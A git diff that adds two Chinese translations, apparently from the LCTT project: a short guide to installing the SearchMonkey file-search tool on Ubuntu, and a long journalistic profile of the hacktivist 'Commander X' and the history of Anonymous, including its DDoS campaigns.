+[6]:https://commands.com/JTNSHRLQJA diff --git a/published/201409/20140902 Use SearchMonkey To Search Text In All Files Within A Directory In Ubuntu.md b/published/201409/20140902 Use SearchMonkey To Search Text In All Files Within A Directory In Ubuntu.md new file mode 100644 index 0000000000..06f10c0615 --- /dev/null +++ b/published/201409/20140902 Use SearchMonkey To Search Text In All Files Within A Directory In Ubuntu.md @@ -0,0 +1,37 @@ +Ubuntu文本检索神器——SearchMonkey +================================================================================ +有时候,我们需要搜索包含有某些特定文本或单词的文件。如果你是个开发者或者程序员,经常会碰到这样的问题。现在,我们总是能够使用[Linux命令来查找包含有指定文本的所有文件][1],但不是每个人都热衷于命令行。我见过那些优秀的程序员,他们更多的是依赖于图形化工具,而不是命令行。 + +如果你也更喜欢图形化工具,那么[SearchMonkey][2]对于你而言是个十分完美的应用。 + +### SearchMonkey是你的桌面搜索引擎 ### + +SearchMonkey递归搜索目录,因此你可以在它工作的时候坐下放松一下。用户可以使用强大的正则表达式来搜索文件名和内容,这使得SearchMonky返回结果时更为精确。 + +此外,SearchMonkey不仅仅给你列出可能包含有你正在查找的内容的文件,它也高亮显示匹配的内容。 + +### 在Ubuntu 14.04中安装SearchMonkey ### + +SearchMonkey可以在Ubuntu 14.04的软件仓库中找到,你只需要通过Ubuntu软件中心或者通过以下命令来安装: + + sudo apt-get install searchmonkey + +安装完毕后,你可以从Unity Dash中启动SearchMonkey。界面简明直观,易于使用。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/08/SearchMonkey_Ubuntu.jpeg) + +SearchMonkey帮助你快速查找到你所需要的文件,不需要先构建一个驱动映射。每次搜索都是实时的,结果也会在找到后立即在上下文中显示!尤,其,它还是一个免费又开源的软件。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/searchmonkey-search-text-files-linux/ + +作者:[Amit Asthana][a] +译者:[GOLinux](https://github.com/GOLinux ) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/amit/ +[1]:http://www.computerandyou.net/2011/06/how-to-find-all-files-containing-specific-text-in-linux/ +[2]:http://searchmonkey.embeddediq.com/ diff --git a/published/201409/20140904 The Masked Avengers.md b/published/201409/20140904 The Masked Avengers.md new file mode 100644 index 0000000000..8d81cf3188 --- /dev/null +++ b/published/201409/20140904 The Masked Avengers.md @@ -0,0 +1,377 @@ +

戴着面具的复仇者 —— 揭秘:激进黑客组织“匿名者”

+ +
从“突尼斯政变”到“弗格森枪击事件”,“匿名者”组织是如何煽动起网络示威活动的。
+ +
+ +
通过入会声明,任何人都能轻易加入“匿名者”组织。某人类学家称,组织成员会“根据影响程度对重大事件保持着不同关注,特别是那些能挑起强烈争端的事件”。
+ +纸雕作品:Jeff Nishinaka / 摄影:Scott Dunbar + +

1

+ +

上世纪七十年代中期,当 Christopher Doyon 还是一个生活在缅因州乡村的孩童时,就终日泡在 CB radio 上与各种陌生人聊天。他的昵称是“Big red”(大红),因为他有一头红色的头发。Christopher Doyon 把发射机挂在了卧室的墙壁上,并且说服了父亲在自家屋顶安装了两根天线。CB radio 主要用于卡车司机间的联络,但 Doyon 和一些人却将之用于不久后出现在 Internet 上的虚拟社交——自定义昵称、成员间才懂的笑话,以及施行变革的强烈愿望。

+ +

Doyon 很小的时候母亲就去世了,兄妹二人由父亲抚养长大,他俩都说受到过父亲的虐待。由此 Doyon 在 CB radio 社区中找到了慰藉和目标感。他和他的朋友们轮流监听当地紧急事件频道。其中一个朋友的父亲买了一个气泡灯并安装在了他的车顶上;每当这个孩子收听到来自孤立无援的乘车人的求助后,都会开车载着所有人到求助者所在的公路旁。除了拨打 911 外他们基本没有什么可做的,但这足以让他们感觉自己成为了英雄。

+ +

短小精悍的 Doyon 有着一口浓厚的新英格兰口音,并且非常喜欢《星际迷航》和阿西莫夫的小说。当他在《大众机械》上看到一则“组装你的专属个人计算机”构件广告时,就央求祖父给他买一套,接下来 Doyon 花了数月的时间把计算机组装起来并连接到 Internet 上去。与鲜为人知的 CB 电波相比,在线聊天室确实不可同日而语。“我只需要点一下按钮,再选中某个家伙的名字,然后我就可以和他聊天了,” Doyon 在最近回忆时说道,“这真的很惊人。”

+ +

十四岁那年,Doyon 离家出走,两年后他搬到了马萨诸塞州的剑桥,那里是一个新出现的计算机反主流文化的中心。同一时间,早在 34 年前就已由麻省理工学院的铁路狂热爱好者们创立的铁路模型技术俱乐部,已经演变成了“黑客”——也是推广该词的第一个组织。Richard Stallman,在那时还是一名任职于麻省理工学院人工智能实验室的计算机科学家,指出早期黑客们比起引发技术战争更乐于讨论“哥德尔、艾舍尔、巴赫”之类的话题。“我们没有任何约束”,Stallman 说,“这不是一项运动,而是一种可以让人们相互留下深刻印象的行为。”其中有些“行为”很有趣(制作电子游戏);有些非常实用(提高计算机处理速度);还有些则属于发生在真实世界里的恶作剧(在校园内放置模拟街道标识)。Michael Patton,在七十年代里管理着铁路模型技术俱乐部的人,谈起初代黑客间不成文的规定,说第一条就是“不要搞破坏”。

+ +

在剑桥,Doyon 以打零工和乞讨为生,他宁愿为了自由而睡在公园的长椅上,也不愿被单调的固定工作所束缚。1985 年,他和其他六个活跃分子共同组建了一支电子“义勇军”。模仿“动物解放阵线”,他们称呼自己为“人民解放阵线”(Peoples Liberation Front,PLF)。所有人都使用化名:如组织的创建者,声称自己是老兵的一位高大中年男子,自称“Commander Adama”;Doyon 则选择了“Commander X”这个称呼。受 “Merry Pranksters” 启示,他们在 Grateful Dead 的演唱会上出售 LSD(lysergic acid diethylamide,麦角酸酰二乙胺,一种迷幻药),并用收入的一部分购置了一辆二手校车,以及扩音器、相机,还有电源充电器。同时在剑桥租了一间地下公寓,Doyon 偶尔会在那里歇息。

+ +

Doyon 深深地沉溺于计算机中,虽然他并不是一位专业的程序员。在过去一年的几次谈话中,他告诉我他将自己视为激进主义分子,继承了 Abbie Hoffman 和 Eldridge Cleaver 的激进传统;技术不过是他抗议的工具。八十年代,哈佛大学和麻省理工学院的学生们举行集会,强烈抗议他们的学校从南非撤资。为了帮助抗议者通过安全渠道进行交流,PLF 制作了无线电套装:移动调频发射器、伸缩式天线,还有麦克风,所有部件都内置于背包内。Willard Johnson,麻省理工学院的一位激进分子和政治学家,表示黑客们出席集会并不意味着一次变革。“我们的大部分工作仍然是通过扩音器来完成的,”他解释道。

+ +

1992 年,在印第安纳的一场 Grateful Dead 的演唱会上,Doyon 秘密地向一位瘾君子出售了 300 粒药。由此他被判决在印第安纳州立监狱服役十二年,后来改为五年。服役期间,他对宗教和哲学产生了浓厚的兴趣,并于鲍尔州立大学学习了相应课程。

+ +

1994 年,第一款商业 Web 浏览器 Netscape Navigator(网景领航员)正式发布,同一年 Doyon 被捕入狱。当他出狱并再次回到剑桥后,PLF 依然活跃着,并且他们的工具有了实质性的飞跃。Doyon 回忆起他和入狱之前对比的变化,“非常巨大——好比是‘烽火狼烟’跟‘电报传信’之间那么大的差距。”黑客们入侵了一个印度的军事网站,并修改其首页文字为“拯救克什米尔”。在塞尔维亚,黑客们攻陷了一个阿尔巴尼亚网站。Stefan Wray,一位早期网络激进主义分子,为一次纽约“反哥伦布日”集会上的黑客行径辩护。“我们视之为电子形式的公众抗议,”他告诉大家。

+ +

1999 年,美国唱片业协会因为版权侵犯问题起诉了 Napster,一款文件共享服务。最终,Napster 于 2001 年关闭。Doyon 与其他黑客使用分布式拒绝服务(Distributed Denial of Service,DDoS,使大量数据涌入网站导致其响应速度减缓直至奔溃)的手段,攻击了美国唱片业协会的网站,使之停运时间长达一星期之久。Doyon为自己的行为进行了辩解,并高度赞扬了其他的“黑客主义者”。“我们很快意识到保卫 Napster 的战争象征着保卫 Internet 自由的战争,”他在后来写道。

+ +

2008 年的一天,Doyon 和 “Commander Adama” 在剑桥的 PLE 地下公寓相遇。Adama 当着 Doyon 的面点击了癫痫基金会的一个链接,与意料中将要打开的论坛不同,出现的是一连串闪烁的彩光。有些癫痫病患者对闪光灯非常敏感——这完全是出于恶意,有人想要在无辜群众中诱发癫痫病。已经出现了至少一名受害者。

+ +

Doyon 愤怒了。他质问 Adama 什么样的人才会做出这样的事来。

+ +

“你听说过‘匿名者’组织吗?” Adama 问。

+ +

2

+ +

2003 年,一位来自纽约的已经患病 15 年的失眠症患者 Christopher Poole,推出了 4chan 讨论社区,在这里用户们可以随意发布照片或者尖锐评论。随后其关注点迅速从动漫延伸到许多 Internet 的早期文化基因,如:LOLcats、Chocolate Rain、RickRolls。当用户没有按照屏幕上的要求输入昵称时,将会得到系统默认的“匿名者”(Anonymous)称呼。

+ +
+ +
“我得谈谈我的感受。”
+ +

Poole 希望匿名这一举措可以延续社区的尖锐性因素。“我们无意参与理智的涉外事件讨论,”他在网站上写道。4chan 社区里最具价值的事之一便是寻求“挑起强烈的争端”(lulz),这个词源自缩写 LOL。Lulz 经常是通过分享幼稚的笑话或图片来实现的,其中大部分不是色情的就是下流的。其中最令人震惊的部分被贴在了网站的“/b/”版块上,这里的用户们称呼自己为“/b/tards”。Doyon 知道 4chan 这个社区,但他认为它的用户是“一群愚昧无知的顽童”。2004 年前后,/b/ 上的部分用户开始把“匿名者”视为一个独立的实体。

+ +

这是一个全新的黑客团体。“这不是一个传统意义上的组织,”一位领导计算机安全工作的研究员 Mikko Hypponen 告诉我——倒不如,视之为一个非传统的亚文化群体。Barrett Brown,德克萨斯州的一名记者,同时也是众所周知的“匿名者”高层领导,把“匿名者”描述为“一连串前仆后继的伟大友谊”。无需任何会费或者入会仪式。任何想要加入“匿名者”组织,成为一名匿名者(Anon)的人,都可以通过简短的象征性的宣誓加入。

+ +

尽管 4chan 的关注焦点是一些琐碎的话题,但许多匿名者认为自己就是“正义的十字军”。如果网上有不良迹象出现,他们就会发起具有针对性的治安维护行动。不止一次,他们以未成年少女的身份使恋童癖陷入圈套,然后把他们的个人信息交给警察局。其他匿名者则是政治的厌恶者,为了挑起争端想方设法散布混乱的信息。他们中的一些人在 /b/ 上发布看着像是雷管炸弹的图片;另一些则叫嚣着要炸毁足球场并因此被联邦调查局逮捕。2007 年,一家洛杉矶当地的新闻联盟机构称呼“匿名者”组织为“互联网负能量制造机”。

+ +

2008 年 1 月,Gawker Media 上传了一段关于汤姆克鲁斯大力吹捧山达基优点的视频。这段视频是受版权保护的,山达基教会致信 Gawker,勒令其删除这段视频。“匿名者”组织认为教会企图控制网络信息。“是时候让 /b/ 来干票大的了,”有人在 4chan 上写道。“我说的是‘入侵’或者‘攻陷’山达基官方网站。”一位匿名者使用 YouTube 放出一段“新闻稿”,其中包括暴雨云视频和经过计算机处理的语音。“我们要立刻把你们从 Internet 上赶出去,并且在现有规模上逐渐瓦解山达基教会,”那个声音说,“你们无处可躲。”不到一个星期,这段 YouTube 视频的点击率就超过了两百万次。

+ +

“匿名者”组织已经不仅限于 4chan 社区。黑客们在专用的互联网中继聊天(Internet Relay Chat channels,IRC 聊天室)频道内进行交流,协商策略。通过 DDoS 攻击手段,他们使山达基的主网站间歇性崩溃了好几天。匿名者们制造了“谷歌炸弹”,由此导致 “dangerous cult” 的搜索结果中的第一条结果就是山达基主网站。其余的匿名者向山达基的欧洲总部寄送了数以百计的披萨,并用大量全黑的传真单耗干了洛杉矶教会总部的传真机墨盒。山达基教会,据报道是一个拥有超过十亿美元资产的组织,当然能经得起墨盒耗尽的考验。但山达基教会的高层可不这么认为,他们还收到了死亡恐吓,由此他们不得不向 FBI 申请调查“匿名者”组织的成员。

+ +

2008 年 3 月 15 日,在从伦敦到悉尼的一百多个城市里,数以千计匿名者们游行示威山达基教会。为了切合“匿名”这个主题,组织者下令所有的抗议者都应该佩戴相同的面具。深思熟虑过蝙蝠侠后,他们选定了 2005 年上映的反乌托邦电影《 V 字仇杀队》中 Guy Fawkes 的面具。“在每个大城市里都能以很便宜的价格大量购买,”广为人知的匿名者、游行组织者之一 Gregg Housh 告诉我说道。漫画式的面具上是一个的脸颊红润的男人,八字胡,有着灿烂的笑容。

+ +

匿名者们并未“瓦解”山达基教会。并且汤姆克鲁斯的那段视频任然保留在网络上。匿名者们证明了自己的顽强。组织选择了一个相当浮夸的口号:“我们是军团。绝不宽恕。永不遗忘。等待我们。”(We are Legion. We do not forgive. We do not forget. Expect us.)

+ +

3

+ +

2010 年,Doyon 搬到了加利福尼亚州的圣克鲁斯,并加入了当地的“和平阵营”组织。利用从木材堆置场偷来的木头,他在山上盖起了一间简陋的小屋,“借用”附近住宅的 WiFi,使用太阳能电池板发电,并通过贩卖种植的大麻换取现金。

+ +

与此同时,“和平阵营”维权者们每天晚上开始在公共场所休息,以此抗议圣克鲁斯政府此前颁布的“流浪者管理法案”,他们认为这项法案严重侵犯了流浪者的生存权。Doyon 出席了“和平阵营”的会议,并在网上发起了抗议活动。他留着蓬乱的红色山羊胡,戴一顶米黄色软呢帽,类似军服的服装。因此维权者们送给了他“罪恶制裁克里斯”的称呼。

+ +

“和平阵营”的成员之一 Kelley Landaker 曾几次和 Doyong 讨论入侵事宜。Doyon 有时会吹嘘自己的技术是多么的厉害,但作为一名资深程序员的 Landaker 却不为所动。“他说得很棒,但却不是行动派,”Landaker 告诉我。不过在那种场合下,的确更需要一位富有激情的领导者,而不是埋头苦干的技术员。“他非常热情并且坦率,”另一位成员 Robert Norse 如是对我说。“他创造出了大量的能够吸引媒体眼球的话题。我从事这行已经二十年了,在这一点上他比我见过的任何人都要厉害。”

+ +

Doyon 在 PLF 的上司,Commander Adama 仍然住在剑桥,并且通过电子邮件和 Doyon 保持着联络,他下令让 Doyon 监视“匿名者”组织,以此获知其运作方式,并伺机为 PLF 招募新成员。因为癫痫基金会网站入侵事件的那段不愉快回忆,Doyon 拒绝了 Adama。Adama 给 Doyon 解释说,在“匿名者”组织里不怀好意的黑客只占极少数,与此相反,这个组织经常会有一些的轰动世界举动。Doyon 对这点表示怀疑。“4chan 怎么可能会有轰动世界的大举动?”他质问道。但出于对 PLF 的忠诚,他还是答应了 Adama 的请求。

+ +

Doyon 经常带着一台宏基笔记本电脑出入于圣克鲁斯的一家名为 Coffee Roasting Company 的咖啡厅。“匿名者”组织的 IRC 聊天室主频道无需密码就能进入。Doyon 使用 PLF 的昵称进行登录并加入了聊天室。一段时间后,他发现了组织内大量的专用匿名者行动聊天频道,这些频道的规模更小,更多专门的组内匿名者间对话相互重复。要想参与行动,你必须知道行动的专用聊天频道名称,并且聊天频道随时会因为陌生的闯入者而进行变更。这套交流系统并不具备较高的安全系数,但它的确很凑效。“这些专用行动聊天频道确保了行动机密的高度集中”麦吉尔大学的人类学家 Gabriella Coleman 告诉我。

+ +

有些匿名者提议了一项行动,名为“反击行动”。如同新闻记者 Parmy Olson 于 2012 年在书中写道的,“我们是匿名者,” 这项行动是以又一次支持文件共享的网站而创立,如同 Napster 的后继者海盗湾(Pirate Bay),但随后其目标却扩展到了政治领域。2010 年末,在美国国务院的要求下,包括万事达、Visa、PayPal 在内的几家公司终止了对维基解密的捐助,维基解密是一家公布了成百上千份外交文件的自发性组织。在一段在线视频中,“匿名者”组织扬言要进行报复,发誓会对那些阻碍维基解密发展的公司进行惩罚。Doyon 被这种抗议企业的精神所吸引,决定参加这次行动。

+ +
+ +
潘多拉的魔盒
+ +

在十二月初的“反击行动”中,“匿名者”组织指导那些新成员,或者说新兵,去看标题为“如何加入那个【哔~】的Hive”,参与者被要求“首先配置他们【哔~】的网络,这【哔~】的很重要。”同时他们被要求下载“低轨道离子炮”,一款易于使用的开源软件。Doyon 下载了软件并在聊天室内等待着下一步指示。当开始的指令发出后,数千名匿名者将同时发动进攻。Doyon 进入了目标网址——www.visa.com——同时,在软件的右上角有个按钮,上面写着“IMMA CHARGIN MAH LAZER.”(“反击行动”同时也发动了大量的复杂精密的入侵进攻。)几天后,“反击行动”攻陷了万事达、Visa、PayPal 公司的主页。在法院的控告单上,PayPal 称这次攻击给公司造成了 550 万美元的损失。

+ +

但对 Doyon 来说,这是切实的激进主义体现。在剑桥反对种族隔离的行动中,他不能即可见效;而现在,只需指尖轻轻一点,就可以在攻陷大公司网站的行动中做出自己的贡献。隔天,赫芬顿邮报上出现了“万事达沦陷”的醒目标题。一位得意洋洋的匿名者发推特道:“有些事情维基解密是无能为力的。但这些事情却可以由‘反击行动’来完成。”

+ +

4

+ +

2010 年的秋天,“和平阵营”的抗议活动终止,政府只做出了略微让步,“流浪者管理法案”仍然有效。Doyon 希望通过借助“匿名者”组织的方略扭转局势。他回忆当时自己的想法,“也许我可以发动‘匿名者’组织来教训这种看似不堪一击的市政府网站,它们绝对会【哔~】地沦陷。最终我们使得市政府永久性废除‘流浪者管理法案’。”

+ +

Joshua Covelli 是一位 25 岁的匿名者,他的昵称是“Absolem”,他非常钦佩 Doyon 的果敢。“过去我们的组织完全是各种混乱的一盘散沙,”Covelli 告诉我。在“Commander X”加入之后,“组织似乎开始变得有模有样了。”Covelli 的工作是俄亥俄州费尔伯恩的一所大学接待员,他从不了解任何有关圣克鲁斯的政治。但是当 Doyon 提及帮助“和平阵营”抗击活动的计划后,Covelli 立即回复了一封表示赞同的电子邮件:“我期待参加这样的行动已经很久了。”

+ +

Doyon 使用 PLF 的昵称邀请 Covelli 在 IRC 聊天室进行了一次秘密谈话:

+ +
Absolem:抱歉,有个比较冒犯的问题...请问 PLF 是组织的一部分还是分开的?
+ +
Absolem:我会这么问,是因为看你们聊天,觉得你们都是非常有组织的。
+ +
PLF:不不不,你的问题一点也不冒犯。很高兴遇到你。PLF 是一个来自波士顿的黑客组织,已经成立 22 年了。我在 1981 年就开始了我的黑客生涯,但那时我并没有使用计算机,而是使用的 PBX(Private Branch Exchange,电话交换机)。
+ +
PLF:我们组织内所有成员的年龄都超过了 40 岁。我们当中有退伍士兵和学者。并且我们的成员“Commander Adama”,正在躲避一大帮警察还有间谍的追捕。
+ +
Absolem:听起来很棒!我对这次行动很感兴趣,不过“匿名者”组织看起来太混乱无序,不知道我是否可以提供一些帮助。我的电脑技术还不错,但我在入侵技术上还完全是一个新手。我有一些小工具,但不知道怎么去使用它们。
+ +

庄重的入会仪式后,Doyon 正式接纳 Covelli 加入 PLF:

+ +
PLF:把所有可能使你受牵连的敏感文件加密。
+ +
PLF:还有,想要联系任何一位 PLF 成员的话,给我发消息就行。从现在起,请叫我... Commander X。
+ +

2012 年,美联社称“匿名者”组织为“一帮专家级的黑客”;Quinn Norton 在《连线》杂志上发文称“‘匿名者’组织可以入侵任何坚不可摧的网站”,并在文末赞扬他们为“一群卓越的民间黑客”。事实上,有些匿名者的确是很有天赋的程序员,但绝大部分成员根本不懂任何技术。人类学家 Coleman 告诉我只有大约五分之一的匿名者是真正的黑客——其他匿名者则是“极客与抗议者”。

+ +

2010 年 12 月 16 日,Doyon 以 Commander X 的身份向几名记者发送了电子邮件。“明天当地时间 12:00 的时候,‘人民解放阵线’组织与‘匿名者’组织将从互联网中删除圣克鲁斯政府网站”,他在邮件中写道,“12:30 之后我们将恢复网站的正常运行。”

+ +

圣克鲁斯数据中心的工作人员收到了警告,匆忙地准备应对攻击。他们在服务器上运行起安全扫描软件,并向当地的互联网供应商 AT & T 求助,后者建议他们向 FBI 报警。

+ +

第二天,Doyon 走进了一家星巴克并启动了笔记本电脑。即便是在这样一个小镇上,Doyon 也显得格外醒目:一个疲惫的流浪汉疯狂地敲击着键盘。随后,Covelli 和他在一间秘密聊天室碰头。

+ +
PLF:去社区,登录——检查一下右上角的“聊天”菜单栏,上面有今天的具体方案。感谢你对我们的支持。
+ +
Absolem:一切为了 PLF,长官。
+ +

他们都打开了 DDoS 软件。尽管只有少数人参加了这次“和平阵营”的行动,但 Doyon 好似统率千军万马般下令:

+ +
PLF:注意:每一位支持 PLF 或者站在我们这边的朋友——还有那些对抗邪恶保卫正义的勇士们:‘和平阵营’行动进行中,战斗的号角已经响起!目标:www.co.santa-cruz.ca.us。随意开火。重复指令:开火!
+ +
Absolem:收到,长官。
+ +

数据中心的工作人员紧张地盯着服务器,上面反馈出一连串拒绝服务的请求。尽管他们尽了最大的努力,网站还是崩溃了。25 分钟后,Doyon 决定遵守承诺。他下令“停止攻击”,政府网站开始恢复了正常运行。(这次攻击后,“流浪者管理法案”依旧没有废除。)

+ +

Doyon 没有时间去庆祝胜利,他显得焦躁不安。“我得走了,”他告诉 Covelli。他飞一般得逃回了山中小屋。Doyon 的感觉是正确的:一位 FBI 的探员早就在 IRC 上盯住了他。这位 FBI 的探员已经获许搜查 Doyon 的笔记本电脑。

+ +

几周后,Doyon 的食物吃完了,他不得不下山进行采购。当 Doyon在 Coffee Roasting Company 咖啡厅逗留的时候,两位联邦探员走了进来将他拘捕。Doyon 给“和平阵营”的创建者,同时也是一名律师的 Ed Frey 打了一个电话,Ed Frey 来到了警察局。Doyon 告诉了 Frey 他的另一个身份“Commander X”的事。

+ +

随后 Doyon 被释放,但 FBI 没收了他的笔记本电脑,里面满是犯罪证据。Frey 一个几乎不了解网络世界的维权律师,把 Doyon 载回了他的山边露营。“接着你要怎么办?”Frey 问道。

+ +
+ +
“Zach 很聪明... 并且... 是一个天才... 但.. 你们... 不在一个班。”
+ +

Doyon 引用了一句电影台词。“拼命地跑,”他说。“我会躲起来,尽可能保持我的行动自由,用尽全力和这帮混蛋们作斗争。”Frey 给了他两张 20 美元的钞票并祝他好运。

+ +

5

+ +

Doyon 搭着便车来到了旧金山,并在这里呆了三个月。他经常混迹于 Haight 大街 Ashbury 区的一家杂乱的咖啡馆里,在计算机前一坐就是几个小时,只有在抽烟时他才会起身走到室外活动。

+ +

2011 年 1 月,Doyon 联系了新闻记者兼匿名者的 Barrett Brown。“我们的下一步计划是什么?”Doyon 问道。

+ +

“突尼斯,” Brown 答道。

+ +

“我知道,那是中东地区的一个国家,” Doyon 继续问,“具体任务是什么呢?”

+ +

“我们准备打倒那里的独裁者,” Brown 再次答道。

+ +

“啊?!那里有一位独裁者吗?” Doyon 有点惊讶。

+ +

几天后,“突尼斯行动”正式展开。Doyon 作为参与者向突尼斯政府域名下的电子邮箱发送了大量的垃圾邮件,以此阻塞其服务器。“我会提前写好关于那次行动邮件,接着一次又一次地把它们发送出去,” Doyon 说,“有时候实在没有时间,我就只简短的写上一句‘问候对方母亲’的话,然后发送出去。”短短一天时间里,匿名者们就攻陷了包括突尼斯证券交易所、工业部、总统办公室、总统办公室在内的多个网站。他们把总统办公室网站的首页替换成了一艘海盗船的图片,并配以文字“恶有恶报,不是吗?”

+ +

Doyon 不时会谈起他的网上“战斗”经历,似乎他刚从弹坑里爬出来一样。“伙计,自从干了这行我就变黑了,”他向我诉苦道。“你看我的脸,全是抽烟的时候熏的——而且可能已经粘在我的脸上了。我仔细地照过镜子,毫不夸张地说我简直就是一头棕熊。”很多个夜晚,Doyon 都是在 Golden Gate 公园里露营过夜的。“我就那样干了四天,我看了看镜子里的‘我’,感觉还可以——但其实我觉得‘我’也许应该去吃点东西、洗个澡了。”

+ +

“匿名者”组织接着又在 YouTube 上声明了将要进行的一系列行动:“利比亚行动”、“巴林行动”、“摩洛哥行动”。作为解放广场事件的抗议者,Doyon 参与了“埃及行动”。在 Facebook 针对这次行动的宣传专页中,有一个为当地示威者准备的“行动套装”链接。“行动套装”通过文件共享网站 Megaupload 进行分发,其中含有一份加密软件以及应对瓦斯袭击的保护措施。在埃及政府关闭了埃及的所有互联网及子网络的时候不久后,“匿名者”组织继续向当地抗议者们提供连接网络的方法。

+ +

2011 年夏季,Doyon 接替 Adama 成为 PLF 的最高指挥官。Doyon 招募了六个新成员,并力图发展 PLF 成为“匿名者”组织的中坚力量。Covelli 成为了他的其中一位技术顾问。另一名黑客 Crypt0nymous 负责在 YouTube 上发布视频;其余的人负责研究以及组装电子设备。与松散的“匿名者”组织不同,PLF 内部有一套极其严格的管理体系。“Commander X 事必躬亲,”Covelli 说。“这是他的行事风格,要么不做,要么做好。”一位创立了 AnonInsiders 博客的黑客通过加密聊天告诉我,他认为 Doyon 总是一意孤行——这在“匿名者”组织中是很罕见的现象。“当我们策划发起一项行动时,他并不在乎其他人是否同意,”这位黑客补充道,“他会一个人列出行动方案,确定攻击目标,登录 IRC 聊天室,接着告诉所有人在哪里‘碰头’,然后发起 DDoS 攻击。”

+ +

一些匿名者把 PLF 视为“面子项目”,认为 Doyon 的所作所为完全是个笑柄。“他是因为吹牛出名的,”另一名昵称为 Tflow 的匿名者 Mustafa Al-Bassam 告诉我。不过,即使是那些极度反感 Doyon 的狂妄自大的人,也不得不承认他在“匿名者”组织发展过程中的重要性。“他所倡导的强硬路线有时很凑效,有时则是碍事,” Gregg Housh 说,并且补充道自己和其他优秀的匿名者都曾遇到过相同的问题。

+ +

“匿名者”组织对外坚持声称自己是不分层次的平等组织。在由 Brian Knappenberger 制作的一部纪录片,《我们是军团》中,一名成员使用“一群鸟”来比喻组织,它们轮流领飞带动整个组织不断前行。Gabriella Coleman 告诉我,这个比喻不太切合实际,“匿名者”组织内实际上早就出现了一个非正式的领导阶层。“领导者非常重要,”她说。“有四五个人可以看做是我们的领头羊。”她把 Doyon 也算在了其中。但是匿名者们仍然倾向于反抗这种体制结构。在一本即将出版的关于“匿名者”组织的书,《黑客、骗子、告密者、间谍》中,Coleman 这么写道,在匿名者中,“成员个体以及那些特立独行的人依然在一些重大事件上保持着服从的态度,优先考虑集体——特别是那些能引发强烈争端的事件。”

+ +

匿名者们谑称那些特立独行的成员为“自尊心超强的疯子”和“想让自己出名的疯子”。(不过许多匿名者已经不会再随便给他人取那种具有冒犯性的称号了。)“但还是有令人惊讶的极少数成员违反规则”打破传统上的看法,Coleman 说。“这么做的人,像 Commander X 这样的,都会在组织里受到排斥。”去年,在一家网络论坛上,有人写道,“当他开始把自己比作‘蝙蝠侠’的时候我就不想理他了。”

+ +

Peter Fein,是一位以 n0pants 为昵称而出名的网络激进分子,也是众多反对 Doyon 的浮夸行为的众多匿名者之一。Fein 浏览了 PLF 的网站,其封面上有一个徽章,还有关于组织的宣言——“为了解放众多人类的灵魂而不断战斗”。Fein 沮丧的发现 Doyon 早就使用真名为这家网站注册过了,使他这种,以及其他想要找事的匿名者们无机可乘。“如果有人要对我的网站进行 DDoS 攻击,那完全可以,” Fein 回想起通过私密聊天告诉 Doyon 时的情景,“但如果你要这么做了的话,我会揍扁你的屁股。”

+ +

2011 年 2 月 5 日,《金融时报》报道了在一家名为 HBGary Federal 的网络安全公司,首席执行官 HBGary Federal 已经得到了“匿名者”组织骨干成员名单的消息。Barr 的调查结果表明,三位最高领导人其中之一就是‘ Commander X’,是一位潜伏在加利福尼亚州的黑客而且有能力“策划一些大型网络攻击事件”。Barr 联系了 FBI 并提交了自己的调查结果。

+ +

和 Fein 一样,Barr 也发现了 PLF 网站的注册法人名为 Christopher Doyon,地址是 Haight 大街。基于 Facebook 和 IRC 聊天室的调查,Barr 断定‘ Commander X’的真实身份是一名家庭住址在 Haight 大街附近的网络激进分子 Benjamin Spock de Vries。Barr 通过 Facebook 和 de Vries 取得了联系。“请告诉我组织里的其他人,我并不是来抓你们的,” Barr 留言道,“只是想让‘领导阶层’知晓我的意图。”

+ +

“‘领导阶层’? 2333,笑死我了,” de Vries 回复道。

+ +

《金融时报》发布报道的第二天,“匿名者”组织就进行了反击。HBGary Federal 的网站被进行了恶意篡改。Barr 的私人 Twitter 账户被盗取,他的上千封电子邮件被泄漏到了网上,同时匿名者们还公布了他的住址以及其他私人信息——这就是“冲动的惩罚”。不到一个月后,Barr 就从 HBGary Federal 辞职了。

+ +

6

+ +

2011 年 4 月,Doyon 离开了旧金山搭便车向西部前行,过着夜晚露宿公园、白天混迹于星巴克的生活。他的背包里只有一台笔记本电脑、Guy Fawkes 面具,还有在 Pall 超市里购买的一些东西。

+ +
+ +
“这是我在 TED 夏令营里学到的东西。”
+ +

他时刻关注着“匿名者”组织的内部消息。那年春季,在 Barr 调查报告中提到的六位匿名者精锐成员,组建了“LulzSec 安全”组织(Lulz Security),简称 LulzSec。这个组织正如其名,这些成员认为“匿名者”组织已经变得太过严肃;他们的目标是重新引发起那些“能挑起强烈争端”的事件。当“匿名者”组织还在继续支持“阿拉伯之春”的抗议者时,LulzSec 入侵了公共电视网(Public Broadcasting Service,PBS)网站,并发布了一则虚假声明称已故说唱歌手 Tupac Shakur 仍然生活在新西兰。

+ +

匿名者之间会通过 Pastebin.com 网站来共享文本。在这个网站上,LulzSec 发表了一则声明,称“很不幸,我们注意到北约和我们的好朋友巴拉克奥萨马——来自24世纪的奥巴马 已经提升了关于黑客的筹码,他们把黑客入侵行为视作一种战争的表现。”目标越高远,挑起的纷争就越大。6 月 15 日,LulzSec 表示对 CIA 网站受到的袭击行为负责,他们发表了一条推特,上面写道“目标击毙(Tango down,亦即target down)—— cia.gov ——这是起挑衅行为。”

+ +

2011 年 6 月 20 日,LulzSec 的一名十九岁的成员 Ryan Cleary 因为对 CIA 的网站进行了 DDoS 攻击而被捕。7 月,FBI 探员逮捕了七个月前对 PayPal 进行 DDoS 攻击的其他十四名黑客。这十四名黑客,每人都面临着 15 年的牢狱之灾以及 50 万美元的罚款。他们因为图谋不轨以及故意破坏互联网而被控违反了计算机欺诈与滥用法案。(Computer Fraud and Abuse Act,该法案允许检察官拥有宽泛的起诉裁量权,并在去年网络激进分子 Aaron Swartz 因为被判处 35 年牢狱之灾而自杀身亡之后,受到了广泛的质疑和批评。)

+ +

LulzSec 的成员之一 Jake (Topiary) Davis 因为付不起法律诉讼费,给组织的成员们写了一封请求帮助的信件。Doyon 进入了 IRC 聊天室把 Davis 需要帮助的消息进行了扩散:

+ +
CommanderX:那么请大家阅读信件并给予 Topiary 帮助...
+ +
Toad:你真是为了抓人眼球什么都做啊!
+ +
Toad:这么说你得到 Topiary 的消息了?
+ +
